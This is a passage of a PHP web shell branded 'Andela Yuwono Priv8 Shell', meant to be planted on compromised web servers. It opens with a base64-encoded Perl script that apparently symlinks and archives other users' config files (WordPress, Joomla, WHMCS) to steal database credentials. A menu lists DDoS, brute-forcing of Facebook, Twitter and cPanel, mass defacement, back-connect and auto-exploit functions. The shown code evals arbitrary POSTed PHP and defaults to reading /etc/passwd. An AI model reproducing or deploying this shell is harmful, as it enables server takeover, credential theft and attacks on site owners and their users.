cuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head><link rel="SHORTCUT ICON" href="http://haurgeulis-security.blogspot.com/favicon.ico"><title>--==[[ Andela Yuwono Priv8 Shell ]]==--</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script><style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid aqua;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:white;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:1px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: blue;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:white;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover
border-bottom:1px solid aqua;
border-top:1px solid aqua;
}
.inputzbut:hover{
border-bottom:1px solid aqua;
border-top:1px solid aqua;
}
.output {
margin:auto;
border:1px solid aqua;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:28px;
padding:0;
color:red;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:aqua;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid aqua;
}
.explore tr:hover{
background:blue;
}
.viewfile{
background:white;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="javascript:void(0)" onclick="location.reload();"><span class="b374k">Andela1C3 v.3</span></a></td></tr><tr><td><b>Andela Yuwono Priv8 Shell <Br><br>[Special Edition]</b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34"></a>
<a href="?<?php echo "y=".$pwd; ?>">Explore</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">DDOS</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">DB Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLi Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">Bomb Mailer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Whois</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=fb">Facebook BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=syahrul">Email BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tintin">Twitter BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=haurgeulis">WordPress Hijack</a>
<a href="?<?php echo "y=".$pwd; ?>&x=pipit">PayPal Valid Email</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dessy">Files Search</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumping">Jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain Viewer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">PhpInfo</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=indramayu">Cpanel & Ftp Auto Defacer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dewi">Email Extractor</a>
<a href="?<?php echo "y=".$pwd; ?>&x=andela">Config Grabber</a>
<a href="?<?php echo "y=".$pwd; ?>&x=yuwono">Back Connect Simple</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cantik">Andela Yuwono Quote</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">PortScan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=automated">Auto Symlinks</a>
<a href="?<?php echo "y=".$pwd; ?>&x=massjump">Server Jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass Server</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=Malware">Malware Attack </a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcsexploiter">WHMCS Dork Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmexploter3">WHMCS Auto Exploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=joomlaexploit">Joomla Auto Scan Exploit</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mannuan">Mannu Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=perlconfig">Perl Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpconfig">PHP Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=killer">Config Killer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=configini">Config Method</a>
<a href="?<?php echo "y=".$pwd; ?>&x=lcf-config">LCF Config</a>
<br><Br>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">WP ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">JOS IndChange</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<Br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">WP BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=python">Python</a>
<br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">NetSploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">Cgi Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
<br><br>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
